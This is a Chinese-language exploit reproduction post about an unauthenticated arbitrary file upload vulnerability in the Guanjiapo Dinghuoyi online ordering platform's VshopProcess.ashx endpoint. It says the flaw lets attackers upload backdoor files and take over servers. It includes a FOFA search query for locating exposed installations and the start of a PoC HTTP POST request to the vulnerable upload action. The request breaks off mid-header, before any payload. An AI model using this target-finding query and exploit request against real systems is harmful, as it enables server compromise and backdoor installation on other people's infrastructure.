0x01 產品簡介

管家婆訂貨易，幫助傳統企業構建專屬的訂貨平臺，PC+微信+APP+小程序+h5商城5網合一，無縫對接線下的管家婆ERP系統，讓用戶訂貨更高效。支持業務員代客下單，支持多級推客分銷，以客帶客，拓展渠道。讓企業的生意更輕松。

0x02 漏洞概述

管家婆訂貨易在線商城VshopProcess.ashx接口處存在任意文件上傳漏洞，未經身份認證的攻擊者可以通過該漏洞，上傳惡意后門文件，深入利用可造成代碼執行和服務器失陷。

0x03 復現環境

FOFA：

title="訂貨易"||title="管家婆分銷ERP" || body="管家婆分銷ERP" || body="ERP V3"

0x04 漏洞復現

PoC

POST /API/VshopProcess.ashx?action=PostFileImg HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/57.0.578.100 Safari/5